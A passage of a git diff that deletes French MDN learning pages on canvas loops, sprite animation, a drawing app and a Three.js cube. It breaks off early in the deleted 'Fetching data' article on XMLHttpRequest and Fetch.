    • Les paramètres 8 et 9 définissent la largeur et la hauteur affichée de l'image découpée. En l'occurence, nous avons spécifié les mêmes dimensions que la découpe, mais vous pouvez la redimensionner (et la déformer) en spécifiant des valeurs différentes.
      • -
    -
    5. -
- -

L'exemple final devrait ressembler à ça:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html", '100%', 260)}}

- -
-

Note: Le code final est disponible sur GitHub, 5_canvas_images.html.

-
- -

Boucles et animations

- -

Jusqu'ici, nous avons couvert quelques utilisations très basiques du canvas 2D, mais vous ne ressentirez la pleine puissance du canvas que si vous le mettez à jour ou l'animez d'une manière ou d'une autre. Après tout, le canvas fournit des images scriptables! Si vous n'avez pas l'intention de changer quelque chose, alors autant utiiliser des images statiques et vous épargner du travail.

- -

Créer une boucle

- -

Jouer avec des boucles est plutôt amusant — vous pouvez exécuter des commandes de canvas à l'intérieur d'une boucle for (ou tout autre type de boucle) comme n'importe quel autre code JavaScript.

- -

Construisons un exemple simple.

- -
    -
  1. -

    Créez une nouvelle copie du template (1_canvas_template.html) et ouvrez-le dans votre éditeur de texte.

    -
    2. -
  2. -

    Ajoutez la ligne qui suit au bas de votre JavaScript. Elle contient une nouvelle méthode, {{domxref("CanvasRenderingContext2D.translate", "translate()")}}, qui déplace le point d'origine du canvas:

    - - 
    ctx.translate(width/2, height/2);
    - -

    Cela a pour effet de déplacer l'origine des coordonnées (0, 0) au centre du canvas, plutôt que d'être dans le coin supérieur gauche. C'est très utile dans de nombreuses situations, comme celle-ci, où nous voulons que notre dessin soit dessiné par rapport au centre du canvas.

    -
    3. -
  3. -

    Maintenant ajoutez le code suivant au bas du Javacript:

    - - 
    function degToRad(degrees) {
-  return degrees * Math.PI / 180;
-};
-
-function rand(min, max) {
-  return Math.floor(Math.random() * (max-min+1)) + (min);
-}
-
-var length = 250;
-var moveOffset = 20;
-
-for(var i = 0; i < length; i++) {
-
-}
    - -

    Ici, nous implémentons

    - -
      -
    • la même fonction degToRad() que nous avons vu dans l'exemple du triangle auparavant,
      • -
    • une fonction rand(), qui retoune un nombre aléatoire entre une limite inférieure et une limite supérieure,
      • -
    • les variables length et moveOffset (que nous verrons plus loin),
      • -
    • et une boucle for vide.
      • -
    -
    4. -
  4. -

    L'idée est que nous allons dessiner quelque chose sur le canvas à l'intérieur de la boucle for, et itérer dessus pour créer quelque chose d'intéressant. Ajoutez le code suivant à l'intérieur de la boucle for:

    - - 
    ctx.fillStyle = 'rgba(' + (255-length) + ', 0, ' + (255-length) + ', 0.9)';
-ctx.beginPath();
-ctx.moveTo(moveOffset, moveOffset);
-ctx.lineTo(moveOffset+length, moveOffset);
-var triHeight = length/2 * Math.tan(degToRad(60));
-ctx.lineTo(moveOffset+(length/2), moveOffset+triHeight);
-ctx.lineTo(moveOffset, moveOffset);
-ctx.fill();
-
-length--;
-moveOffset += 0.7;
-ctx.rotate(degToRad(5));
    - -

    Ainsi à chaque itération, on:

    - -
      -
    1. Définit fillStyle comme étant une nuance de violet légèrement transparente, et qui change à chaque fois en fonction de la valeur de length. Comme vous le verrez plus tard, sa valeur diminue à chaque itération, ce qui a pour effet de rendre la couleur toujours plus claire.
      2. -
    2. Ouvre un path.
      3. -
    3. Déplace le stylo aux coordonnées de (moveOffset, moveOffset); Cette variable définit jusqu'où nous voulons nous déplacer à chaque fois que nous dessinons.
      4. -
    4. Dessine une ligne aux coordonées de (moveOffset+length, moveOffset). Cela dessine une ligne de longueur length parallèle à l'axe X.
      5. -
    5. Calcule la hauteur du triangle, comme vu auparavant.
      6. -
    6. Dessine une ligne vers le coin du bas du triangle.
      7. -
    7. Dessine une ligne vers le début du triangle.
      8. -
    8. Appelle fill() pour remplir le triangle.
      9. -
    9. Met à jour les variables qui indiquent comment dessiner le triangle, afin qu'elles soient prêtes pour la prochaine itération: -
        -
      • Diminue la valeur de length de 1, de sorte que les triangles deviennent de plus en plus petits;
        • -
      • Augmente un peu moveOffset pour que chaque triangle successif soit légèrement plus éloigné;
        • -
      • et utilise une nouvelle fonction, {{domxref("CanvasRenderingContext2D.rotate", "rotate()")}}, qui permet de faire pivoter entièrement le canvas! Nous le faisons pivoter de 5 degrés avant de dessiner le triangle suivant.
        • -
      -
      10. -
    -
    5. -
- -

C'est tout! L'exemple final devrait ressemble à ça:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html", '100%', 550)}}

- -

À ce stade, nous vous encourageons à jouer avec l'exemple et de vous l'approprier! Par exemple:

- - - -
-

Note: Le code terminé est disponible sur GitHub, 6_canvas_for_loop.html.

-
- -

Animations

- -

L'exemple de boucle que nous avons construit ci-dessus était amusant, mais en vrai vous avez besoin d'une boucle qui continue constamment d'itérer pour toute application sérieuse de canvas (telles que les jeux et les visualisations en temps réel). Si vous pensez à votre canvas comme étant en quelque sorte un film, vous allez vouloir que l'affichage se mette à jour à chaque image pour afficher la mise à jour avec un taux de rafraichissement idéal de 60 images par seconde, afin que le mouvement soit lisse et agréable pour l'oeil humain.

- -

Il y a quelques fonctions JavaScript qui vous permettrons d'exécuter des fonctions de manière répétée, plusieurs fois par seconde, la meilleure étant ici {{domxref("window.requestAnimationFrame()")}}. Elle prend un paramètre — la fonction que vous voulez exécuter pour chaque image. Dès que le navigateur est prêt à mettre à jour l'écran, votre fonction sera appelée. Si cette fonction dessine la nouvelle mise à jour, puis appelle de nouveau requestAnimationFrame() juste avant la fin de la fonction, la boucle d'animation continuera de s'exécuter de manière fluide. La boucle s'arrête lorsque vous vous arrêtez d'appeler requestAnimationFrame() ou si vous appelez {{domxref("window.cancelAnimationFrame()")}} après avoir appelé requestAnimationFrame() mais avant que votre fonction n'ait été exécutée.

- -
-

Note: C'est une bonne pratique d'appeler cancelAnimationFrame() à partir de votre code principal lorsque vous avez terminé d'utiliser l'animation, pour vous assurer qu'aucune mise à jour n'attend d'être exécutée.

-
- -

Le navigateur s'occupe des détails complexes tels qu'exécuter l'animation à une vitesse constante, et ne pas gaspiller de ressources en animant des choses qui ne sont pas visibles.

- -

Pour voir comment cela fonctionne, regardons rapidement notre exemple des balles qui rebondissent (le voir en direct, et voir le code source). Le code de la boucle qui garde le tout en mouvement ressemble à ceci:

- -
function loop() {
-  ctx.fillStyle = 'rgba(0, 0, 0, 0.25)';
-  ctx.fillRect(0, 0, width, height);
-
-  while(balls.length < 25) {
-    var ball = new Ball();
-    balls.push(ball);
-  }
-
-  for(i = 0; i < balls.length; i++) {
-    balls[i].draw();
-    balls[i].update();
-    balls[i].collisionDetect();
-  }
-
-  requestAnimationFrame(loop);
-}
-
-loop();
- -

Nous lançons la fonction loop() une fois pour commencer le cycle et dessiner la première image de l'animation. La fonction loop() s'occupe ensuite d'appeler requestAnimationFrame(loop) pour afficher la prochaine image de l'animation, et ce continuellement.

- -

Notez que sur chaque image, nous effaçons complètement le canvas et redessinons tout. Nous créons de nouvelles balles pour chaque image — au maximum 25 — puis, pour chaque balle, la dessinons, mettons à jour sa position, et vérifions si elle est en collision avec une autre balle. Une fois que vous avez dessiné quelque chose sur un canvas, il n'y a aucun moyen pour manipuler cet élément graphique individuellement comme vous pouvez le faire avec les élément DOM. Vous ne pouvez pas déplacer les balles sur le canvas parce qu'une fois dessinée, une balle n'est plus une balle mais juste des pixels sur un canvas. Au lieu de ça, vous devez effacer et redessiner, soit en effaçant et redessinant absolutement tout le canvas, soit en ayant du code qui sait exactement quelles parties doivent être effacées, et qui efface et redessine uniquement la zone minimale nécessaire.

- -

Optimiser l'animation graphique est une spécialité entière de programmation, avec beaucoup de techniques ingénieuses disponibles. Mais celles-ci sont au-delà de ce dont nous avons besoin pour notre exemple!

- -

En général, le processus pour animer un canvas implique les étapes suivantes:

- -
    -
  1. Effacer le contenu du cavas (par exemple avec {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} ou {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}).
    2. -
  2. Sauvegarder l'état (si nécessaire) en utilisant {{domxref("CanvasRenderingContext2D.save", "save()")}} — c'est nécessaire lorsque vous voulez enregistrer les paramètres que vous mis à jour sur le canvas avant de continuer, ce qui est utile pour des applications plus avancées.
    3. -
  3. Dessiner les éléments graphiques que vous animez.
    4. -
  4. Restaurer les paramètres sauvegardés à l'étape 2 en utilisant {{domxref("CanvasRenderingContext2D.restore", "restore()")}}
    5. -
  5. Appeler requestAnimationFrame() pour planifier le dessin de l'image suivante de l'animation.
    6. -
- -
-

Note: Nous ne couvrirons pas save() et restore() ici, mais elles sont bien expliquées dans notre tutoriel Transformations (et ceux qui le suivent).

-
- -

Une animation simple de personnage

- -

Créons maintenant notre propre animation simple — nous allons faire parcourir l'écran à un personnage d'un certain jeu vidéo rétro plutôt génial.

- -
    -
  1. -

    Faites une nouvelle copie du template (1_canvas_template.html) et ouvrez-le dans votre éditeur de texte. Sauvegardez une copie de walk-right.png dans le même répertoire.

    -
    2. -
  2. -

    Au bas du JavaScript, ajoutez la ligne suivante pour placer une fois de plus l'origine des coordonnées au milieu du canvas:

    - - 
    ctx.translate(width/2, height/2);
    -
    3. -
  3. -

    Nous allons maintenant créer un objet {{domxref("HTMLImageElement")}}, définir son attribut {{htmlattrxref("src", "img")}} à l'image que nous voulons charger, et ajouter le gestionnaire d'événement onload pour appeler la fonction draw() quand l'image sera chargée:

    - - 
    var image = new Image();
-image.src = 'walk-right.png';
-image.onload = draw;
    -
    4. -
  4. -

    Ajoutons quelques variables pour garder une trace de la position du sprite à dessiner à l'écran, et le numéro du sprite que nous voulons afficher.

    - - 
    var sprite = 0;
-var posX = 0;
    - -

    L'image de sprites (que nous avons respectueusement emprunté à Mike Thomas dans son article Create a sprite sheet walk cycle using using CSS animation — créer un cycle de marche avec une feuille de sprites en utilisant les animations CSS) ressemble à ça:

    - -

    - -

    Elle contient six sprites qui constituent une séquence de marche — chacun a 102 pixels de large et 148 pixels de hauteur. Pour afficher chaque sprite proprement, nous allons devoir utiliser drawImage() pour découper un seul sprite de l'image et n'afficher que cette partie, comme nous l'avons fait précédemment avec le logo Firefox. La coordonnée X de la découpe devra être un multiple de 102 et la coordonnée Y sera toujours 0. La taille de la découpe sera toujours de 102 pixels par 148.

    -
    5. -
  5. -

    Insérons maintenant une fonction draw() vide au bas du code, prête à être remplie de code:

    - - 
    function draw() {
-
-};
    -
    6. -
  6. -

    Le reste du code dans cette section va dans draw(). Tout d'abord, ajoutez la ligne suivante, qui efface le canvas pour préparer le dessin de chaque image. Notez que nous devons spécifier le coin supérieur gauche du rectangle comme étant -(width/2), -(height/2) puisque nous avons définit l'origine du canvas à width/2, height/2 plus tôt.

    - - 
    ctx.fillRect(-(width/2), -(height/2), width, height);
    -
    7. -
  7. -

    Ensuite, nous allons dessinons notre image en utilisant drawImage() — la version à 9 paramètres. Ajoutez ce qui suit:

    - - 
    ctx.drawImage(image, (sprite*102), 0, 102, 148, 0+posX, -74, 102, 148);
    - -

    Comme vous pouvez le voir:

    - -
      -
    • Nous spécifions image comme étant l'image à inclure.
      • -
    • Les paramètres 2 et 3 spécifient le coin supérieur gauche de la portion de l'image à découper: la valeur X vaut sprite multiplié par 102 (où sprite est le numéro du sprite, entre 0 et 5) et la valeur Y vaut toujours 0.
      • -
    • Les paramètres 4 et 5 spécifient la taille de la découpe — 102 pixels par 148.
      • -
    • Les paramètres 6 et 7 spécifient le coin supérieur gauche de la découpe sur le canvas — la position de X est 0+posX, ce qui signifie que nous pouvons modifier la position du dessin en modifiant la valeur de posX.
      • -
    • Les paramètres 8 et 9 spécifient la taille de l'image sur le canvas. Nous voulons garder sa taille d'origine, on définit donc 102 pour largeur et 148 pour hauteur.
      • -
    -
    8. -
  8. -

    Maintenant, nous allons changer la valeur de sprite après chaque dessin — après certains d'entre eux du moins. Ajoutez le bloc de code suivant au bas de la fonction draw():

    - - 
      if (posX % 13 === 0) {
-    if (sprite === 5) {
-      sprite = 0;
-    } else {
-      sprite++;
-    }
-  }
    - -

    Nous enveloppons le bloc entier de if (posX % 13 === 0) { ... }. On utilise l'opérateur modulo (%) (aussi connu sous le nom d'opérateur reste) pour vérifier si la valeur de posX peut être exactement divisée par 13, sans reste. Si c'est le cas, on passe au sprite suivant en incrémentant sprite (en retournant à 0 après le sprite #5). Cela implique que nous ne mettons à jour le sprite que toutes les 13èmes images, ou à peu près 5 images par seconde (requestAnimationFrame() appelle jusqu'à 60 images par secondes si possible). Nous ralentissons délibéremment le cadence des images parce que nous n'avons que six sprites avec lesquels travailler, et si on en affiche un à chaque 60ième de seconde, notre personnage va bouger beaucoup trop vite!

    - -

    À l'intérieur du bloc, on utilise une instruction if ... else pour vérifier si la valeur de sprite vaut 5 (le dernier sprite, puisque les numéro de sprite vont de 0 à 5). Si nous sommes en train d'afficher le dernier sprite, alors on réinitialilse sprite à 0; sinon on l'incrémente de 1.

    -
    9. -
  9. -

    Ensuite, nous devons déterminer comment modifier la valeur de posX sur chaque image — ajoutez le bloc de code à la suite:

    - - 
      if(posX > width/2) {
-    newStartPos = -((width/2) + 102);
-    posX = Math.ceil(newStartPos / 13) * 13;
-    console.log(posX);
-  } else {
-    posX += 2;
-  }
    - -

    Nous utilisons une autre instruction if ... else pour voir si la valeur de posX est plus grande que width/2, ce qui signifie que notre personnage est sortit du bord droit de l'écran. Si c'est le cas, on calcule la position qui met le personnage à gauche du bord gauche de l'écran, et on définit posX au multiple de 13 le plus proche de ce nombre. Il faut obligatoirement un multiple de 13 pour que le bloc de code précédent puisse toujours fonctionner!

    - -

    Si notre personnage n'a pas atteint le bord de l'écran, on incrémente posX de 2. Cela le fera bouger un peu vers la droite la prochaine fois qu'on le dessinera.

    -
    10. -
  10. -

    Finalement, nous devons boucler sur l'animation en appelannt {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} en bas de la fonction draw():

    - - 
    window.requestAnimationFrame(draw);
    -
    11. -
- -

Et voilà! L'exemple final devrait ressembler à ça:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}

- -
-

Note: Le code final est disponible sur GitHub, 7_canvas_walking_animation.html.

-
- -

Une application simple de dessin

- -

Comme exemple final d'animation, nous aimerions vous montrer une application très simple de dessin, pour illustrer comment la boucle d'animation peut être combinée avec les entrées de l'utilisateur (comme le mouvement de la souris en l'occurence). Nous n'allons pas expliquer la procédure pas à pas pour construire cette application, nous allons juste explorer les parties les plus intéressantes du code.

- -

L'exemple peut être trouvé sur GitHub, 8_canvas_drawing_app.html, et vous pouvez jouer avec en direct ci-dessous:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html", '100%', 600)}}

- -

Regardons les parties les plus intéressantes. Tout d'abord, nous gardons une trace des coordonnées X et Y de la souris et si elle est pressée ou non grâce à trois variables: curX, curY, et pressed. Quand la souris bouge, nous déclenchons une fonction via le gestionnaire d'événement onmousemove, lequel capture les valeurs X et Y actuelles. Nous utilisons également les gestionnaires d'événement onmousedown et onmouseup pour changer la valeur de pressed à true quand le bouton de la souris est pressé, et de nouveau à false quand il est relaché.

- -
var curX;
-var curY;
-var pressed = false;
-
-document.onmousemove = function(e) {
-  curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
-  curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
-}
-
-canvas.onmousedown = function() {
-  pressed = true;
-};
-
-canvas.onmouseup = function() {
-  pressed = false;
-}
- -

Quand le bouton "Clear canvas" (effacer le canvas) est cliqué, nous exécutons une simple fonction qui efface entièrement le canvas grâce à un rectangle noir, de la même manière que nous avons vu précédemment:

- -
clearBtn.onclick = function() {
-  ctx.fillStyle = 'rgb(0, 0, 0)';
-  ctx.fillRect(0, 0, width, height);
-}
- -

La boucle du dessin est relativement simple cette fois-ci — si pressed est à true, nous dessinons un cercle rempli avec la couleur du color picker (sélecteur de couleur), et d'un rayon égal à la valeur définit dans le champs de sélection dans un intervalle.

- -
function draw() {
-  if(pressed) {
-    ctx.fillStyle = colorPicker.value;
-    ctx.beginPath();
-    ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
-    ctx.fill();
-  }
-
-  requestAnimationFrame(draw);
-}
-
-draw();
- -
-

Note: Les types d'{{htmlelement("input")}} range et color sont relativement bien pris en charge parmi les différents navigateurs, à l'exception des versions d'Internet Explorer inférieures à 10; et Safari ne prend pas en charge le type color. Si votre navigateur ne prend pas en charge ces types, il affichera simplement un champ texte et vous n'aurez qu'à entrer des valeurs de couleur et numéro valides vous-mêmes.

-
- -

WebGL

- -

Il est maintenant temps de laisser la 2D derrière, et de jeter un coup d'oeil au canvas 3D. Le contenu 3D d'un canvas est spécifié en utilisant l'API WebGL, qui est une API complètement séparée de l'API des canvas 2D, même si ls deux sont affichés sur des éléments {{htmlelement("canvas")}}.

- -

WebGL est basé sur le langage de programmation graphique OpenGL, et permet de communiquer directement avec le GPU de l'ordinateur. En soi, l'écriture WebGL est plus proche des langages de bas niveau tel que C++ que du JavaScript usuel; c'est assez complexe mais incroyablement puissant.

- -

Utiliser une bibliothèque

- -

De par sa complexité, la plupart des gens écrivent du code de graphique 3D en utilisant une bibliothèque JavaScript tierce telle que Three.js, PlayCanvas ou Babylon.js. La plupart d'entre elles fonctionnent d'une manière similaire, offrant des fonctionnalités pour créer des formes primitives et personnalisées, positionner des caméras et des éclairages, recouvrir des surfaces avec des textures et plus encore. Elles se chargent de WebGL pour vous, vous permettant de travailler à un niveau plus haut.

- -

Oui, en utiliser une signifie apprendre une autre nouvelle API (une API tierce en l'occurence), mais elles sont beaucoup plus simples que de coder du WebGL brut.

- -

Recréer notre cube

- -

Regardons un exemple simple pour créer quelque chose avec une bibliothèque WebGL. Nous allons choisir Three.js, puisque c'est l'une des plus populaires. Dans ce tutoriel, nous allons créer le cube 3D qui tourne que nous avons plus tôt.

- -
    -
  1. -

    Pour commencer, créez une copie locale de index.html dans un nouveau répertoire, et sauvegardez metal003.png dans ce même répertoire. C'est l'image que nous allons utiliser comme texture de surface du cube plus tard.

    -
    2. -
  2. -

    Ensuite, créez un nouveau fichier main.js, toujours dans le même répertoire.

    -
    3. -
  3. -

    Si vous ouvrez index.html dans votre éditeur de texte, vous verrez qu'il y a deux éléments {{htmlelement("script")}} — le premier ajoute three.min.js à la page, et le second ajoute notre fichier main.js à la page. Vous devez télécharger la bibliothèque three.min.js et la sauvegarder dans le même répertoire que précédemment.

    -
    4. -
  4. -

    Maintenant que nous avons inclus three.js dans notre page, nous pouvons commencer à écrire du code JavaScript qui l'utilise dans main.js. Commençons par créer une nouvelle scène — ajoutez ce qui suit dans le fichier main.js:

    - - 
    var scene = new THREE.Scene();
    - -

    Le constructeur Scene() crée une nouvelle scène, qui représente l'ensemble du monde 3D que nous essayons d'afficher.

    -
    5. -
  5. -

    Ensuite, nous avons besoin d'une caméra pour voir la scène. En terme d'imagerie 3D, la caméra représente la position du spectateur dans le monde. Pour ajouter une caméra, ajoutez les lignes suivantes à la suite:

    - - 
    var camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000);
-camera.position.z = 5;
-
    - -

    Le constructeur PerspectiveCamera() prend quatre arguments:

    - -
      -
    • Le champ de vision: Quelle est la largeur de la zone devant la caméra qui doit être visible à l'écran, en degrés.
      • -
    • Le rapport d'aspect (aspect ratio): Habituellement, c'est le rapport entre la largeur de la scène divisé par la hauteur de la scène. Utiliser une autre valeur va déformer la scène (ce qui pourrait être ce que vous voulez, mais ce n'est généralement pas le cas).
      • -
    • Le plan proche (near plane): Jusqu'où les objets peuvent être proches de la caméra avant que nous arrêtions de les afficher à l'écran. Pensez-y comme quand vous approchez votre doigt de plus en plus près de l'espace entre vos yeux, vous finissez par ne plus le voir.
      • -
    • Le plan éloigné (far plane): Jusqu'à quelle distance de la caméra doit-on afficher les objets.
      • -
    - -

    Nous définissons également la position de la caméra à 5 unités de distance de l'axe Z, qui, comme en CSS, est hors de l'écran vers vous, le spectateur.

    -
    6. -
  6. -

    Le troisième ingrédient essentiel est un moteur de rendu. C'est un objet qui restitue une scène donnée, vu à travers une caméra donnée. Nous allons en créer dès à présent en utilisant le constructeur WebGLRenderer() — mais nous ne l'utiliserons que plus tard. Ajoutez les lignes suivantes à la suite de votre JavaScript:

    - - 
    var renderer = new THREE.WebGLRenderer();
-renderer.setSize(window.innerWidth, window.innerHeight);
-document.body.appendChild(renderer.domElement);
    - -

    La première ligne crée un nouveau moteur de rendu, la deuxième ligne définit la taille à laquelle le moteur de rendu va dessiner la vue de la caméra, et la troisième ligne ajoute l'élément {{htmlelement("canvas")}} crée par le moteur de rendu au {{htmlelement("body")}} du document. Désormais, tout ce que dessine le moteur de rendu sera affiché dans notre fenêtre.

    -
    7. -
  7. -

    Ensuite, nous voulons créer le cube que nous afficherons sur le canvas. Ajoutez le morceau de code suivant au bas de votre JavaScript:

    - - 
    var cube;
-
-var loader = new THREE.TextureLoader();
-
-loader.load( 'metal003.png', function (texture) {
-  texture.wrapS = THREE.RepeatWrapping;
-  texture.wrapT = THREE.RepeatWrapping;
-  texture.repeat.set(2, 2);
-
-  var geometry = new THREE.BoxGeometry(2.4, 2.4, 2.4);
-  var material = new THREE.MeshLambertMaterial( { map: texture, shading: THREE.FlatShading } );
-  cube = new THREE.Mesh(geometry, material);
-  scene.add(cube);
-
-  draw();
-});
    - -

    Il y a un peu plus à encaisser ici, alors allons-ici par étapes:

    - -
      -
    • Nous créons d'abord une variable globale cube pour pouvoir accéder à notre cube de n'importe où dans notre code.
      • -
    • Ensuite, nous créons un nouvel objet TextureLoader, et appellons load() dessus. La fonction load() prend deux paramètres dans notre exemple (bien qu'elle puisse en prendre plus): la texture que nous voulons charger (notre PNG), et la fonction qui sera exécutée lorsque la texture sera chargée.
      • -
    • À l'intérieur de cette fonction, nous utilisons les propriétés de l'objet texture pour spécifier que nous voulons une répétition 2 x 2 de l'image sur tous les côtés du cube.
      • -
    • Ensuite, nous créons un nouvel objet BoxGeometry et MeshLambertMaterial, que nous passons à un Mesh pour créer notre cube. Typiquement, un objet requiert une géométrie (quelle est sa forme) et un matériau (à quoi ressemble sa surface).
      • -
    • Pour finir, nous ajoutons notre cube à la scène, puis appellons la fonction draw() pour commencer l'animation.
      • -
    -
    8. -
  8. -

    Avant de définir la fonction draw(), nous allons ajouter quelques lumières à la scène, pour égayer un peu les choses; ajoutez le bloc suivant à la suite de votre code:

    - - 
    var light = new THREE.AmbientLight('rgb(255, 255, 255)'); // soft white light
-scene.add(light);
-
-var spotLight = new THREE.SpotLight('rgb(255, 255, 255)');
-spotLight.position.set( 100, 1000, 1000 );
-spotLight.castShadow = true;
-scene.add(spotLight);
    - -

    Un objet AmbientLight est une lumière douce qui illumine la scène entière, un peu comme le soleil comme vous êtes dehors. Un objet SpotLight, d'autre part, est un faisceau de lumière, plutôt comme une lampe de poche/torche (ou un spotlight - projecteur - en fait).

    -
    9. -
  9. -

    Pour finir, ajoutons notre fonction draw() au bas du code:

    - - 
    function draw() {
-  cube.rotation.x += 0.01;
-  cube.rotation.y += 0.01;
-  renderer.render(scene, camera);
-
-  requestAnimationFrame(draw);
-}
    - -

    C'est assez intuittif: sur chaque image, on fait légèrement tourner notre cube sur ses axes X et Y, affichons la scène telle qu'elle vue par notre caméra, puis appellons requestAnimationFrame() pour planifier le dessin de notre prochaine image.

    -
    10. -
- -

Jetons un coup d'oeil rapide au produit fini:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}

- -

Vous pouvez trouver le code terminé sur GitHub.

- -
-

Note: Dans notre repo GitHub vous pouvez également trouver d'autres exemples 3D intéressants — Three.js Video Cube (le voir en direct). On utilise {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} pour prendre un flux vidéo à partir d'une webcam de l'ordinateur et le projetons sur le côté du cube comme texture!

-
- -

Sommaire

- -

À ce stade, vous devriez avoir une idée utile des bases de la programmation graphique en utilisant Canvas et WebGL et de ce que vous pouvez faire avec ces APIs. Vous pouvez trouver des endroits où aller pour trouver plus d'informations dans la section suivante. Amusez-vous!

- -

Voir aussi

- -

Nous n'avons couverts dans cet article que les vraies bases du canvas — il y a tellement plus à apprendre! Les articles suivants vous mèneront plus loin.

- - - -

Exemples

- - - -

{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

- -

 

- -

Dans ce module

- - diff --git a/files/fr/apprendre/javascript/client-side_web_apis/fetching_data/index.html b/files/fr/apprendre/javascript/client-side_web_apis/fetching_data/index.html deleted file mode 100644 index 2acc2ed9b3..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/fetching_data/index.html +++ /dev/null @@ -1,397 +0,0 @@ ---- -title: Récupérer des données du serveur -slug: Apprendre/JavaScript/Client-side_web_APIs/Fetching_data -tags: - - API - - Apprendre - - Article - - Codage - - Débutant - - Fetch - - JavaScript - - XHR - - data -translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
- -

Une autre tâche courante dans les sites et applications web modernes est de récupérer des données à partir du serveur pour mettre à jour des sections de la page web sans la recharger entièrement. Ce qui pourrait paraître comme un petit détail a, en vérité, eu un impact énorme sur les performances et le comportement des sites. Dans cet article, nous allons expliquer le concept et les technologies qui rendent cela possible, tels que XMLHttpRequest et l'API Fetch.

- - - - - - - - - - - - -
Prérequis :Notions de base de JavaScript (voir premiers pas, les briques JavaScript, les objets JavaScript), les notions de bases des APIs côté client
Objectif :Apprendre à récupérer des données du serveur web et les utiliser pour mettre à jour le contenu de la page.
- -

Quel est le problème?

- -

À la base, le chargement d'une page web est simple — vous envoyez une requête à un serveur et, tant qu'il n'y a pas eu de problème, les ressources de la page web sont téléchargées et affichées sur votre ordinateur.

- -

A basic representation of a web site architecture

- -

Le problème avec ce modèle c'est qu'à chaque fois que vous voulez mettre à jour une partie de la page, par exemple pour afficher la page suivante d'une liste de produits, vous devez recharger toute la page. Ce surcoût est tout à fait inutile et résulte en une mauvaise expérience utilisateur, particulièrement pour les pages qui sont lourdes, complexes et du coup longues à charger.

- -

L'arrivée d'Ajax

- -

Pour traiter ce problème, des technologies ont été élaborées qui permettent de récupérer à la demande de petites portions de données (comme du HTML, {{glossary("XML")}}, JSON, ou texte brut) et de les afficher dans la page web.

- -

Nous avons pour cela l'API {{domxref("XMLHttpRequest")}} à notre disposition ou — plus récemment — l'API Fetch. Elles permettent de réaliser des requêtes HTTP pour récupérer des ressources spécifiques disponibles sur un serveur et de formater les données retournées selon les besoins avant l'affichage dans la page.

- -
-

Note : Dans les premiers temps, cette technique était appelée "Asynchronous JavaScript and XML" (JavaScript asychrone et XML), dit AJAX, parce qu'elle utilisait {{domxref("XMLHttpRequest")}} pour requêter des données XML. De nos jours, c'est rarement le cas; la plupart du temps, on utilise XMLHttpRequest ou Fetch pour requêter des données JSON. Quoi qu'il en soit, le procédé reste le même et le terme "Ajax" est resté pour décrire cette technique.

-
- -

A simple modern architecture for web sites

- -

Le modèle Ajax implique une API web comme proxy pour requêter les données plus intelligemment que simplement rafraîchir la page à chaque fois. Voyons plutôt l'impact que cela a :

- -
    -
  1. Allez sur un site riche en information de votre choix, comme Amazon, YouTube, CNN...
    2. -
  2. Cherchez quelque chose dans la barre de recherche, comme un nouveau produit. Le contenu principal va changer, mais la plupart de ce qui l'entoure reste statique, comme l'entête, le pied de page, le menu de navigation, etc.
    3. -
- -

C'est une bonne chose puisque :

- - - -

Notez que pour accélerer les choses encore davantage, certains sites stockent les ressources et données chez le client lors de sa première visite, si bien que les visites suivantes, les fichiers locaux sont utilisés et non re-téléchargés du serveur. Le contenu n'est rechargé que lorsqu'il a été mis à jour sur le serveur.

- -

A basic web app data flow architecture

- -

Une requête Ajax basique

- -

Voyons maintenant comment ces requêtes sont gérées, en utilisant soit {{domxref("XMLHttpRequest")}} soit Fetch. Pour ces exemples, nous allons requêter les données de différents fichiers texte et les utiliserons pour remplir une zone de contenu.

- -

Ces fichiers agiront comme une fausse base de données ; dans une vraie application, il est plus probable que vous utiliseriez un langage côté serveur comme PHP, Python, ou Node pour récupérer les données à partir d'une véritable base de données. En revanche, nous voulons ici garder les choses simples ; nous allons donc nous concentrer sur le côté client.

- -

XMLHttpRequest

- -

XMLHttpRequest (qui est fréquemment abrégé XHR) est une technologie assez vieille maintenant — elle a été inventée par Microsoft dans les années 90 et a été standardisée dans les autres navigateurs il y a longtemps.

- -
    -
  1. -

    Pour commencer cet exemple, faites une copie locale de ajax-start.html et des quatre fichiers texte — verse1.txt, verse2.txt, verse3.txt, et verse4.txt — dans un nouveau répertoire sur votre ordinateur. Dans cet exemple, nous allons charger le verset d'un poème (que vous pourriez bien reconnaître), quand il est sélectionné dans le menu déroulant, en utilisant XHR.

    -
    2. -
  2. -

    À l'intérieur de l'élément {{htmlelement("script")}}, ajoutez le code qui suit. Il stocke une référence aux éléments {{htmlelement("select")}} et {{htmlelement("pre")}} dans des variables et définit un gestionnaire d'événement {{domxref("GlobalEventHandlers.onchange","onchange")}}, pour que, quand la valeur du menu déroulant est changée, la valeur sélectionnée soit passée comme paramètre à la fonction  updateDisplay().

    - - 
    var verseChoose = document.querySelector('select');
